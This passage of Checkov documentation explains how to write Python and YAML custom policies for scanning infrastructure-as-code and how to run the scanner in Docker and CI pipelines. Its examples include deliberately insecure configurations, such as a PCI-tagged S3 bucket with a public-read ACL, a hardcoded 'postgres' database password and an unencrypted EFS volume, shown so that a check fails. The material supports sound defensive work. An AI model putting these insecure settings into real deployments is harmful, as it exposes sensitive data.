`aws_instance` and `aws_db_instance` to be provisioned. ```yaml definition: cond_type: "resource" resource_types: - "aws_instance" - "aws_db_instance" operator: "exists" ``` ================================================ FILE: docs/3.Custom Policies/Python Custom Policies.md ================================================ --- layout: default published: true title: Python Custom Policies nav_order: 2 --- # Create Custom Policy - Python - Attribute Check Custom Policies created in code (in Python) support checking the state of a resource’s attributes. A Python-based Custom Policy for Checkov consists of sections for Metadata and Policy Definition. Read also how to [create custom YAML Policies for attribute and composite scanning](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html). ## Writing a Python custom Checkov policy Specify a `name`, `ID`, `relevant resources` and `categories`. | Parameter | Description | Example/Comments | |-----------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | ``name`` | A new policy's unique purpose. It should ideally specify the positive desired outcome of the policy. | | | ``id`` | A mandatory unique identifier of a policy. Native policies written by Prisma Cloud contributors will follow the following convention: ``CKV_providerType_serialNumber`` | `CKV_AWS_9` , `CKV_GCP_12` | | ``supported_resources`` | Infrastructure objects, as described in the scanned IaC's language. This usually contains one specific resource block. If you support multiple resources, you can use `*` to match any type of entity in that specific domain. | `*` use depends on which check base class you extend; see note below table. `?ws_*` will match anything where the second character is a `'w'`, the third is a `'s'` and the fourth is a `'_'`. | | ``categories`` | Categorization of a scan. Usually used to produce compliance reports, pipeline analytics and infrastructure health metrics, etc. | | | ``guideline`` | (Optional) Add extra info to help the user to solve the issue. | This is not needed | **Note for Supported Resources Parameter:** If you extend `checkov.terraform.checks.resource.base_resource_check.BaseResourceCheck`, the check is registered for all Terraform resources. The following example produces a policy that ensures that new RDS services spun-up are encrypted at rest, given a scanned Terraform configuration ([CKV_AWS_16](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEncryption.py)). 1. Create a new file in the AWS check directory ``checkov/terraform/checks/resource/aws/RDSEncryption.py``. 2. Import the following: ```python from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck ``` 3. Define the meta entities for this check as described in the table above. ```python class RDSEncryption(BaseResourceCheck): def __init__(self) -> None: name = "Ensure all data stored in the RDS is securely encrypted at rest" id = "CKV_AWS_16" supported_resources = ("aws_db_instance",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) ``` 4. Define a simple check of the ```aws_db_instance``` resource block to determine if ```aws_db_instance``` is disabled. If it is disabled, that needs to cause a ```CheckResult.FAILED``` to occur. ```python def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for encryption configuration at aws_db_instance: https://www.terraform.io/docs/providers/aws/d/db_instance.html :param conf: aws_db_instance configuration :return: """ if 'storage_encrypted' in conf.keys(): key = conf['storage_encrypted'][0] if key: return CheckResult.PASSED return CheckResult.FAILED ``` **Note:** The `conf` parameter is dependent on the resource type, which was chosen via the `supported_resources` class instance attribute. For example, for the `aws_db_instance` resource, we get the following value: ```python conf = { "__end_line__": 11, # internal field "__start_line__": 3, # internal field "allocated_storage": [5], "enabled_cloudwatch_logs_exports": [["postgresql", "upgrade"]], "engine": ["postgres"], "instance_class": ["db.t3.small"], "password": ["postgres"], "username": ["postgres"], "__address__": "aws_db_instance.postgres", # internal field } ``` which is the internal representation of following Terraform resource block ```hcl resource "aws_db_instance" "postgres" { allocated_storage = 5 engine = "postgres" instance_class = "db.t3.small" password = "postgres" username = "postgres" enabled_cloudwatch_logs_exports = ["postgresql", "upgrade"] } ``` If more than one resource type was set for `supported_resources`, then it is possible to retrieve the info via the class instance attribute `self.entity_type`. ```python def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if self.entity_type == "aws_db_instance": ... elif self.entity_type == "aws_rds_cluster_instance": ... ``` 5. Implement `get_evaluated_keys` to allow the check results report show the specified key. ```python def get_evaluated_keys(self) -> List[str]: return ['storage_encrypted/[0]'] ``` If the evaluated keys are determined dynamically, you can set the evaluated key when scanning the resource configuration: ```python def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for encryption configuration at aws_db_instance: https://www.terraform.io/docs/providers/aws/d/db_instance.html :param conf: aws_db_instance configuration :return: """ if 'storage_encrypted' in conf.keys(): key = conf['storage_encrypted'][0] if key: # The following line sets the evaluated keys self.evaluated_keys = ['storage_encrypted/[0]'] return CheckResult.PASSED return CheckResult.FAILED ``` 6. You can also add `details` to be printed on the execution report: ```python def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for encryption configuration at aws_db_instance: https://www.terraform.io/docs/providers/aws/d/db_instance.html :param conf: aws_db_instance configuration :return: """ if 'storage_encrypted' in conf.keys(): key = conf['storage_encrypted'][0] if key: # The following line sets the evaluated keys self.evaluated_keys = ['storage_encrypted/[0]'] return CheckResult.PASSED self.details.append("'storage_encrypted' was not found on the resource configuration") return CheckResult.FAILED ``` Produces the following CLI report: ![details-cli-screenshot](https://raw.githubusercontent.com/bridgecrewio/checkov/main/docs/checkov-scan-cli-details.png) 7. Conclude the policy name and operationalize it with the statement: ```python check = RDSEncryption() ``` ### Selecting the best base check class to extend Terraform and CloudFormation have two base classes extending `BaseResourceCheck`: 1. **BaseResourceValueCheck**: This check will pass only if the `inspected_key` is within the `expected_values`. If `get_expected_value` is not implemented, the default value is `[True]`. ```python class RDSPubliclyAccessible(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure all data stored in RDS is not publicly accessible" id = "CKV_AWS_17" supported_resources = ("AWS::RDS::DBInstance",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return 'Properties/PubliclyAccessible' def get_expected_values(self) -> list[Any]: return [False] ``` Another option is to use `ANY_VALUE`: ```python def get_expected_values(self) -> list[Any]: return [ANY_VALUE] ``` 2. **BaseResourceNegativeValueCheck**: This check will pass only if the `inspected_key` is NOT within the `forbidden_values`. ```python class NeptuneClusterInstancePublic(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Neptune Cluster instance is not publicly available" id = "CKV_AWS_102" supported_resources = ['aws_neptune_cluster_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'publicly_accessible/[0]' def get_forbidden_values(self) -> List[Any]: return [True] ``` ### Run a new scan To run a scan with the new policy, use the ```checkov``` command. ```python checkov -d /user/tf ``` #Working with Custom Policies Checkov is delivered with a set of built-in policies that check for compliance and security best practices at its core. In addition, Checkov enables you to load additional checks, that give the user the ability to author and execute custom policies. ## Example This example uses the following directory structure: ```text ├── main.tf ├── variables.tf └── outputs.tf ``` The example assumes a unique need to enforce bucket ACL policies only when the tag `Scope=PCI` is present. That being the case, the following bucket definition must trigger a failed check result: ```python # Snippet from main.tf resource "aws_s3_bucket" "credit_cards_bucket" { region = var.region bucket = local.bucket_name acl = "public-read" force_destroy = true tags = { Scope = "PCI", } } ``` To trigger the failed check result, you need to add a new check to ensure PCI related S3 buckets will stay private. 1. Create a new python folder named `my_extra_checks` containing the new check: ```text ├── main.tf ├── variables.tf └── outputs.tf └── my_extra_checks └── __init__.py └── S3PCIPrivateACL.py ``` a. The first time you setup the custom checks folder, you need to also create a file named `__init__.py`. ```python from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [ basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')] ``` b. Complete the matching logic in `S3PCIPrivateACL.py`: ```python from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class S3PCIPrivateACL(BaseResourceCheck): def __init__(self) -> None: name = "Ensure PCI Scope buckets has private ACL (enable public ACL for non-pci buckets)" id = "CKV_AWS_999" supported_resources = ("aws_s3_bucket",) # CheckCategories are defined in models/enums.py categories = (CheckCategories.BACKUP_AND_RECOVERY,) guideline = "Follow the link to get more info https://docs.prismacloud.io/en/enterprise-edition/policy-reference" super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for ACL configuration at aws_s3_bucket and Tag values: https://www.terraform.io/docs/providers/aws/r/s3_bucket.html :param conf: aws_s3_bucket configuration :return: """ tags = conf.get("tags") if tags and isinstance(tags, list): tags = tags[0] if tags.get("Scope") == "PCI": acl_block = conf['acl'] if acl_block in [["public-read"], ["public-read-write"], ["website"]]: return CheckResult.FAILED return CheckResult.PASSED check = S3PCIPrivateACL() ``` 2. With the new custom check in place, run Checkov: ```python # install from pypi using pip pip install checkov # select an input folder that contains your terraform files and enable loading of extra checks checkov -d . --external-checks-dir my_extra_checks ``` Verify the results: ```shell Check: "Ensure PCI Scope buckets has private ACL (enable public ACL for non-pci buckets)" FAILED for resource: aws_s3_bucket.credit_cards_bucket File: /main.tf:80-90 Guide: Follow the link to get more info https://docs.prismacloud.io/en/enterprise-edition/policy-reference 80 | resource "aws_s3_bucket" "credit_cards_bucket" { 81 | region = var.region 82 | bucket = local.bucket_name 83 | acl = "public-read" 84 | force_destroy = true 85 | 86 | tags = { 87 | Scope = "PCI", 88 | 89 | } 90 | } ``` **Attention:** Policies cannot share the same file name. If two policies with the same file name exist, only the first one will be loaded. ================================================ FILE: docs/3.Custom Policies/Sharing Custom Policies.md ================================================ --- layout: default published: true title: Sharing Custom Policies nav_order: 5 --- # Sharing Custom Policies [Custom Policies](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html) can be reused across multiple projects. You can download a git repository containing custom checks: ```python checkov --external-checks-git https://github.com/bridgecrewio/checkov.git ``` ## Sub-directories If you want to download only a specific subdirectory from a GitHub repository, you can specify a subdirectory after a double-slash` //`. Checkov will first download the URL specified before the double-slash (as if you didn’t specify a double-slash), but will then copy the path after the double slash into a temporal directory. ```text checkov --external-checks-git https://github.com/bridgecrewio/checkov.git//tests/terraform/checks/resource/registry/example_external_dir/extra_checks ``` For example, if you’re downloading this GitHub repository, but you only want to download the “extra_checks” directory, you can do the following: `https://github.com/bridgecrewio/checkov.git//extra_checks` Note: Checkov will execute Python code. Only use trusted sources when executing external checks. ================================================ FILE: docs/3.Custom Policies/YAML Custom Policies.md ================================================ --- layout: default published: true title: YAML Custom Policies nav_order: 3 --- # Create Custom Policy - YAML - Attribute Check and Composite Custom policies created in YAML support checking a resource’s connection state and the use of complex AND/OR logic. Read also how to [create custom Python Policies for attribute scanning](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html). A YAML-based custom policy for Checkov consists of sections for the **Metadata** and **Policy Definition**. ![](policy-definition.png) **Metadata** The Metadata includes: * Policy Name * ID - `CKV2__` * Category * Guideline (optional) * Severity (optional) - can be `INFO`, `LOW`, `MEDIUM`, `HIGH`, `CRITICAL` The possible values for category are: * GENERAL_SECURITY * LOGGING * ENCRYPTION * NETWORKING * IAM * BACKUP_AND_RECOVERY * CONVENTION * SECRETS * KUBERNETES * APPLICATION_SECURITY * SUPPLY_CHAIN * API_SECURITY The possible values for severity are: * INFO * LOW * MEDIUM * HIGH * CRITICAL ```yaml metadata: id: "CKV2_CUSTOM_1" name: "Ensure bucket has versioning and owner tag" category: "BACKUP_AND_RECOVERY" guideline: "https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/ckv2_custom_1" severity: "HIGH" ``` ## Policy Definition The policy definition consists of: * **Definition Block(s)** - either *Attribute Block(s)* or *Connection State Block(s)* or both * **Logical Operator(s)** (optional) * **Filter** (optional) The top level object under `definition` must be a single object (not a list). It can be an attribute block, a connection block, or a logical operator (`and`, `or`, `not`). ## Types of Definition Blocks * **Attribute Blocks:** The policy describes resources with a certain configuration as defined by a configuration **attribute** and its value (per Terraform), or by the presence/absence of an attribute. * **Connection State Blocks:** The policy describes resources in a particular **Connection state**; either connected or not connected to another type of resource (for example, a security group). * **Resource Type Blocks:** The policy describes resource types that are either allowed or forbidden to use, commonly referred to as allow/deny lists. ### Using AND/OR Logic A policy definition may include multiple blocks (**Attribute**, **Connection state** or both), associated by **AND/OR** logic. ### Using NOT Logic A policy definition may include any block (**Attribute**, **Connection state**, or **AND/OR**) underneath a `not` block to invert the statement. ## Attribute Blocks An **Attribute Block** in a policy's definition indicates that a resource will be non-compliant if a certain configuration attribute does not have a specified value or if it exists/doesn't exist. Prisma Cloud's custom policies in code utilize the Terraform attribute library and syntax. These policies are checked during scans of both build-time and runtime resources and for all supported cloud providers. ### Attribute Block Example The Attribute Block in the `definition` in the example below is used to ensure that a proper back-up policy is configured for Redshift clusters: ```yaml definition: cond_type: "attribute" resource_types: - "aws_redshift_cluster" attribute: "automated_snapshot_retention_period" operator: "not_equals" value: "0" ``` ### Attribute Condition: Operators | Value in YAML | Description | Value types | Example | |--------------------------------|-------------------------------------------------------------------------------------------------------------------|-------------------|---------------------------------------------------| | `equals` | Exact value match | String, Int, Bool | operator: "equals"
value: "t3.nano" | | `not_equals` | Not equal to the value | String, Int, Bool | operator: "not_equals"
value: "t3.nano" | | `regex_match` | The value must match the regular
expression | String (RegEx) | operator: "regex_match"
value: "^myex-.*" | | `not_regex_match` | The value must not match the regular
expression | String (RegEx) | operator: "not_regex_match"
value: "^myex-.*" | | `exists` | The attribute or connection appears in the
resource definition | None | attribute: "name"
operator: exists | | `not_exists` | The attribute or connection does not
appear in the resource | None | attribute: "name"
operator: not_exists | | `one_exists` | At least one connection of a specific type
exists | None | resource_types:
- aws_vpc
connected_resource_types:
- aws_flow_log
operator: one_exists
attribute: networking
cond_type: connection | | `contains` | Checks if an attribute's value contains
the specified values, supporting nested structures | String | operator: "contains"
value:
-"value1" | | `not_contains` | Checks if an attribute's value does not contain
the specified values, supporting nested structures | String | operator: "not_contains"
value:
-"value1" | | `within` | Checks if the attribute is within a given list of values | (List) String | operator: within
- value1
- value2 | | `not_within` | Checks if the attribute is not within a given list of values | (List) Strings | operator: not_within
value:
- 'value1'
- 'value2' | | `starting_with` | The attribute must begin with the value | String | operator: starting_with
value: terraform-aws-modules | | `not_starting_with` | The attribute must not begin with the value | String | operator: not_starting_with
value: terraform-aws-modules | | `ending_with` | The value used by the attribute must end
with this string | String | operator: ending_with
value: "-good" | | `not_ending_with` | The value used by the attribute must not
end with this string | String | operator: not_ending_with
value: "-bad" | | `greater_than` | The value used by the attribute must be
greater than this value | String, Int | operator: greater_than
value: "100" | | `greater_than_or_equal` | The value used by the attribute must be
greater than or equal to this value | String, Int | operator: less_than_or_equal
value: "100" | | `less_than` | The value used by the attribute must be
less than this value | String, Int | operator: less_than
value: "100" | | `less_than_or_equal` | The value used by the attribute must be
less than or equal to this value | String, Int | operator: less_than_or_equal
value: "100" | | `subset` | The values used by the attribute must be
a subset of the listed values and not
outside of that | (List) String | operator: subset
value:
- "a"
- "b" | | `not_subset` | The values used by the attribute must
not be any of a subset of the listed
values and not outside of that | (List) String | operator: not_subset
value:
- "a"
- "b" | | `is_empty` | The attribute must not have a value | None | attribute: "audit_log_config.*.exempted_members"
operator: is_empty | | `is_not_empty` | The attribute must have a value | None | attribute: "description"
operator: is_not_empty | | `length_equals` | The list of attributes of that type must
be of this number | String, Int | resource_types:
- aws_security_group
attribute: ingress
operator: length_equals
value: "2" | | `length_not_equals` | The list of attributes of that type must
not be of this number | String, Int | resource_types:
- aws_security_group
attribute: ingress
operator: length_not_equals
value: "2" | | `length_less_than` | The list of attributes of that type must
be less than this number | String, Int | resource_types:
- aws_security_group
attribute: ingress
operator: length_less_than
value: "20" | | `length_less_than_or_equal` | The list of attributes of that type must
be less than or equal to this number | String, Int | resource_types:
- aws_security_group
attribute: ingress
operator: length_less_than_or_equal
value: "20" | | `length_greater_than` | The list of attributes of that type must
be greater than this number | String, Int | resource_types:
- aws_security_group
attribute: ingress
operator: length_greater_than
value: "20" | | `length_greater_than_or_equal` | The list of attributes of that type must
be greater than or equal to this number | String, Int | resource_types:
- aws_security_group
attribute: ingress
operator: length_greater_than_or_equal
value: "20" | | `is_false` | The value of the attribute must be false | None | operator: is_false | | `is_true` | The value of the attribute must be true | None | operator: is_true | | `intersects` | Given 2 values, check if those values
intersect | (List) Strings | attribute: "availability_zone"
operator: "intersects"
value: "us-" | | `not_intersects` | Given 2 values, check if those values do
not intersect | (List) Strings | attribute: "availability_zone"
operator: "not_intersects"
value: "us-" | | `equals_ignore_case` | The value of the attribute equals this
value, ignoring case for both | String | operator: "equals_ignore_case"
value: "INGRESS" | | `not_equals_ignore_case` | The value of the attribute does not
equal this value, ignoring case for both | String | operator: "not_equals_ignore_case"
value: "INGRESS" | | `range_includes` | The range of the value or range of the
attribute includes this value or range | String, Int | operator: "range_includes"
value: 3000 | | `range_not_includes` | The range of the value or range of the
attribute does not include this value or range | String, Int | operator: "range_not_includes"
value: 3000 | | `number_of_words_equals` | The number of words in the value of the
attribute is equal to this number | String, Int | operator: number_of_words_equals
value: 6 | | `number_of_words_not_equals` | The number of words in the value of the
attribute is not equal to this number | String, Int | operator: number_of_words_not_equals
value: 6 | | `cidr_range_subset_attribute_solver` | The value must be inside the CIDR range or ranges | (List) String | operator: cidr_range_subset_attribute_solver
value: "10.0.0.0/8" | | `cidr_range_not_subset_attribute_solver` | The value must not be inside the CIDR range or ranges | (List) String | operator: cidr_range_not_subset_attribute_solver
value: "10.0.0.0/8" | All those operators are supporting JSONPath attribute expression by adding the `jsonpath_` prefix to the operator, for example - `jsonpath_length_equals` ### Attribute Condition: Keys and Values | Key | Type | Value(s) | | --- | --- |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `cond_type` | string | Must be `attribute` | | `resource_type` | collection of strings | Use either `all`, `taggable`, or `[resource types from list]` | | `attribute` | string | Attribute of defined resource types. For example, `automated_snapshot_retention_period` | | `operator` | string | - `equals`, `not_equals`, `regex_match`, `not_regex_match`, `exists`, `not exists`, `any`, `contains`, `not_contains`, `within`, `starting_with`, `not_starting_with`, `ending_with`, `not_ending_with`, `greater_than`, `greater_than_or_equal`, `less_than`, `less_than_or_equal`, `is_empty`, `is_not_empty`, `length_equals`, `length_not_equals`, `length_greater_than`, `length_greater_than_or_equal`, `length_less_than`, `length_less_than_or_equal`, `is_true`, `is_false`, `intersects`, `not_intersects` | | `value` (not relevant for operator: `exists`/`not_exists`) | string | User input. | ### Evaluating list attributes You may use a wildcard (`*`) to evaluate all of the items within a list. You may use multiple wildcards to evaluated nested lists. If *any* item in the list matches the condition, then the condition passes. For example, consider the following resource: ``` resource "aws_security_group" "sg" { ... ingress { cidr_blocks = ["0.0.0.0/0"] ... } ingress { cidr_blocks = ["192.168.1.0/24"] ... } } ``` The following definition will return `true`, because one of the CIDR blocks contains `0.0.0.0/0`: ```yaml cond_type: attribute resource_types: - "aws_security_group" attribute: "ingress.*.cidr_blocks" operator: "contains" value: "0.0.0.0/0" ``` Note that switching the operator to `not_contains` will still result in the evaluation being `true`, because there is also an element that does *not* contain `0.0.0.0/0`. If you want to write a policy that fails if any CIDR block contains `0.0.0.0/0`, consider the `not` operator, described below. ## Connection State Block A Connection State Block indicates a type of resource that has or does not have a connection to another type of resource. In the example presented in the table below, in order to be compliant, `aws_lb` and `aws_elb` must have connections to either `aws_security_group` or `aws_default_security_group`. | Group A | Group B | | --- | --- | |`aws_lb` `aws_elb` | `aws_security_group` `aws_default_security_group` | ### Connection State Example The Connection State Block below indicates that to be compliant with the policy, resources of type `aws_lb` or of type `aws_elb` must be connected to either a resource of type `aws_security_group` or a resource of type `aws_default_security_group`. ```yaml definition: cond_type: "connection" resource_types: - "aws_elb" - "aws_lb" connected_resource_types: - "aws_security_group" - "aws_default_security_group" operator: "exists" ``` ### Connection State Condition: Operators | Operator | Value | | ----- | ----- | | Exists | `exists` | | Not Exists | `not_exists` | | One Exists | `one_exists` | ### Connection State Condition: Keys and Values | Key | Type | Values | | ----- | ----- | ----- | | `cond_type` | string | Must be `connection` | | `resource_types` | | Use either `all` or `[included resource type from list]` | | `connected_resource_types` | collection of strings | Use either `all` or `[included resource type from list]` | | `operator` | string | `exists`/`not exists` | ## Filters Filters can be used to limit the types of resources relevant to a condition. Filters are most commonly used for Connection Blocks (for Attribute Blocks you can easily limit the resource type with the `resource_type` parameter). For example, you may want to enforce a policy only for a specific resource type (or types) from specific groups defined in the conditions. Filters are available only for AND logic at the top level. ### Filter Example The Custom Policy in this example ensures that all ELBs are attached to security groups as shown in the table below. In line with best practices, connections of this nature should be defined using the `security_groups` key. | Group A | Group B | | ----- | ----- | | `aws_elb` | `aws_security_group` `aws_default_security_group` | | Not Exists | `not_exists` | ```yaml definition: and: - cond_type: "filter" attribute: "resource_type" value: - "aws_elb" operator: "within" - cond_type: "connection" resource_types: - "aws_elb" connected_resource_types: - "aws_security_group" - "aws_default_security_group" operator: "exists" ``` *Note: The condition above uses AND logic. See [additional examples](https://www.checkov.io/3.Custom%20Policies/Examples.html) for complex logic in policy definitions.* ## Resource Type Blocks A **Resource Type Block** in a policy's definition indicates that a resource will be compliant/non-complaint depending on the resource type, which is allowed/forbidden. Use the `exist` operator to define an allowlist and the `not_exist` operator to define a blocklist. ### Resource Type Block Example The Resource Type Block in the `definition` in the example below is used to ensure CloudHSM cluster won't be provisioned: ```yaml definition: cond_type: "resource" resource_types: - "aws_cloudhsm_v2_cluster" operator: "not_exists" ``` ## Using AND/OR Logic The Prisma Cloud platform allows you to combine definition blocks using AND/OR operators. * The top-level logical operator is the first key below \"definition\" (and not an item in a collection). Most policies will start with an `and` or `or` key here, with multiple conditions nested within that. * Filter blocks apply (only) to the top-level and constitute an AND condition. For example, if you'd like to indicate a requirement for a Connection State between types of resources, but only within a certain subset of all of those resources. Every other logical operator applies within a collection. For example, you can use AND/OR logic in a collection of key-value pairs. * The value for the `and` or `or` key must be a list; each element of the list must be a valid definition on its own (i.e., a combination of attribute conditions, connection conditions, nested AND/OR, etc). ### Example The logic in the policy definition shown below is: `AND[block 1,block 2,OR[block 3,block 4]]`. ```yaml #.... definition: and: - #filter block 1 - #block 2 - or: - #block 3 - #block 4 ``` [See all examples of Custom Policies in code](https://www.checkov.io/3.Custom%20Policies/Examples.html) ## Using NOT Logic You can use `not` in the same places that you may use `and` and `or` to invert the nested condition definition. The value of the `not` element in the policy may be either a list containing exactly one element (which can also be nested more deeply), or any other type of block. ### Example The definition below inverts the example in the previous section. ```yaml #.... definition: not: and: - #filter block 1 - #block 2 - or: - #block 3 - #block 4 ``` The following code is also valid (the child of `not` is a list of length 1): ```yaml #.... definition: not: - and: - #filter block 1 - #block 2 - or: - #block 3 - #block 4 ``` [See all examples of Custom Policies in code](https://www.checkov.io/3.Custom%20Policies/Examples.html) ## Supported Frameworks ### Ansible Following `resource_types` are supported - `block` - `tasks.[module name]` ex. ```yaml cond_type: attribute resource_types: - tasks.ansible.builtin.uri - tasks.uri attribute: url operator: starting_with value: "https://" ``` #### Note In the case a module can be used without parameters by just adding the value to it, then it can be queried via a the special attribute `__self__`. ex. ```yaml cond_type: "attribute" resource_types: - "ansible.builtin.command" - "command" attribute: "__self__" operator: "not_contains" value: "vim" ``` ### ARM All resources can be referenced under `resource_types`. Currently, no support for connections. ### Bicep All resources can be referenced under `resource_types`. Any kind of connection between resources is supported ### CloudFormation All resources can be referenced under `resource_types`. Any kind of connection between resources is supported ### Dockerfile All official Docker instructions can be referenced under `resource_types`. Currently, no support for connections. #### Note Following attribute values are supported - `content` stores the raw data for an instruction - `value` stores the sanitized data for an instruction ex. ```dockerfile RUN apt-get update \ && sudo apt-get install vim ``` -> ```yaml content: "RUN apt-get update \\\n && sudo apt-get install vim\n" value: "apt-get update && sudo apt-get install vim" ``` ### GitHub Actions Following `resource_types` are supported - `permissions` on the root level - `steps` - `jobs` - `on` Following connections are supported - `steps` -> `jobs` #### Note The value for `permissions` can be either a map or a single string. Map entries should be prefixed with `permissions.` key and a single string entry can be accessed by using `permissions` as the attribute. ex. ```yaml cond_type: "attribute" resource_types: - "permissions" attribute: "permissions" operator: "not_equals" value: "write-all" ``` The value for `on` can be either a map, a string or a list of strings. ex. ```yaml cond_type: attribute resource_types: - "on" attribute: on.push.branches operator: contains value: main ``` ### Kubernetes All resources can be referenced under `resource_types`. Currently, no support for connections. ### Terraform All resources can be referenced under `resource_types`. Any kind of connection between resources is supported ================================================ FILE: docs/4.Integrations/Bitbucket Cloud Pipelines.md ================================================ --- layout: default published: true title: Bitbucket Cloud Pipelines nav_order: 2 --- # Integrate Checkov with Bitbucket Cloud Pipelines You can integrate checkov into your Bitbucket Cloud pipelines. This provides a simple, automatic way of applying policies to your Terraform code both during merge request review and as part of your build process. ## Basic Setup Add a new step in the `bitbucket-pipelines.yml` file in your repository as part of whichever pipelines are appropriate for you. Here is a minimalistic example: ```yaml checkov: &checkov step: name: Checkov image: name: bridgecrew/checkov:latest entrypoint: - '/usr/bin/env' - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' script: - checkov -d . pipelines: default: - <<: *checkov ``` ## Example Results When your pipeline executes, it will run this job. If checkov finds any issues, it will fail the build. ### Pipeline Failure For example, I have an S3 bucket that does not have versioning enabled. Checkov detects this and fails the job and pipeline. ![Bitbucket Failed Pipeline](bitbucket_failed_pipeline.png) This will comment on an associated merge request or fail the build depending on the context. ### Pipeline Success Once I have corrected the configuration, checkov verifies that all is well. ![Bitbucket Results](bitbucket_results.png) ## Further Reading See the [Bitbucket pipelines documentation](https://confluence.atlassian.com/bitbucket/build-test-and-deploy-with-pipelines-792496469.html) for additional information. ================================================ FILE: docs/4.Integrations/Docker.md ================================================ --- layout: default published: true title: Docker nav_order: 7 --- # Using Checkov with Docker ```coffeescript docker pull bridgecrew/checkov docker run --tty --volume /user/tf:/tf --workdir /tf bridgecrew/checkov --directory /tf ``` If you are using Python 3.6 (which is the default version in Ubuntu 18.04) Checkov will not work and it will fail with `ModuleNotFoundError: No module named 'dataclasses'`. In this case, you can use the Docker version instead.\n\nIn certain cases, when redirecting `docker run --tty` output to a file - for example, if you want to save the Checkov JUnit output to a file - will cause extra control characters to be printed. This can break file parsing. If you encounter this, remove the --tty flag. ## Signed images Docker images are keyless signed with `cosign` and attested with a `CycloneDX` formatted SBOM. ### Verify image ```shell COSIGN_EXPERIMENTAL=1 cosign verify bridgecrew/checkov | jq . ``` ### Verify attestation ```shell COSIGN_EXPERIMENTAL=1 cosign verify-attestation --type cyclonedx bridgecrew/checkov | jq -r .payload | base64 -D | jq . ``` ================================================ FILE: docs/4.Integrations/GitHub Actions.md ================================================ --- layout: default published: true title: GitHub Actions nav_order: 3 --- # Integrate Checkov with GitHub Actions Integrating Checkov into GitHub Actions provides a simple, automatic way of applying policies to your Terraform code both during pull request review and as part of any build process. ## Use a Checkov Action from the Marketplace Check out our [pre-made action](https://github.com/bridgecrewio/checkov-action). ## Create Your Own Action: Basic Set-up Add a new step in the `workflow.yml`. ```tree ├───.github │ └───workflows ``` Here is a basic example: ```yaml --- name: Checkov on: push: branches: - master jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Set up Python 3.9 uses: actions/setup-python@v4 with: python-version: 3.9 - name: Test with Checkov id: checkov uses: bridgecrewio/checkov-action@master with: directory: example/examplea framework: terraform ``` ## Example Results Any time after you push your code to GitHub, it will run your job. If Checkov finds any errors, it will fail the build. ### Action Failure In the original examples code, the file **aws_efs_file_system.sharedstore.tf** is not set to encrypted: ```python resource "aws_efs_file_system" "sharedstore" { creation_token = var.efs["creation_token"] lifecycle_policy { transition_to_ia = var.efs["transition_to_ia"] } kms_key_id = var.efs["kms_key_id"] encrypted = false performance_mode = var.efs["performance_mode"] provisioned_throughput_in_mibps = var.efs["provisioned_throughput_in_mibps"] throughput_mode = var.efs["throughput_mode"] } ``` This will fail a Checkov test: ![Actions Failure](actions_failure.png) ### Pipeline Success The previous error can be fixed by setting the value of encryption to **true**. ![Actions success](actions_success.png) [Read more details on using Python in GitHub Actions.](https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions) ================================================ FILE: docs/4.Integrations/GitLab CI.md ================================================ --- layout: default published: true title: GitLab CI nav_order: 4 --- # Integrate Checkov with GitLab CI Integrating Checkov into your GitLab CI pipelines provides a simple, automatic way of applying policies to your Terraform code both during merge request review and as part of your build process. ## Basic Setup Add a new job in `.gitlab-ci.yml` in your repository (at whatever stage is appropriate for you). Here is a basic example: ```yaml stages: - test checkov: stage: test allow_failure: true # True for AutoDevOps compatibility image: name: bridgecrew/checkov:latest entrypoint: - '/usr/bin/env' - 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin' rules: - if: $SAST_DISABLED when: never - if: $CI_COMMIT_BRANCH exists: - '**/*.yml' - '**/*.yaml' - '**/*.json' - '**/*.template' - '**/*.tf' - '**/serverless.yml' - '**/serverless.yaml' script: - checkov -d . -o junitxml | tee checkov.test.xml artifacts: reports: junit: "checkov.test.xml" paths: - "checkov.test.xml" ``` ## Example Results When your pipeline executes, it will run this job. If Checkov finds any issues, it will fail the build. ### Pipeline Failure For example, I have an S3 bucket that does not have versioning enabled. Checkov detects this and fails the job and pipeline. [](gitlab_failed_job.png) This will comment on an associated merge request or fail the build depending on the context. GitLab will collect the results into the normal unit testing area of the pipeline and/or the merge request. ### Pipeline Success Once you correct the configuration, Checkov verifies that no errors have been found. [](gitlab_results.png) ## Colored Output Note that in the examples above, the output of the test results does not display colors. This is because GitLab Runner runs 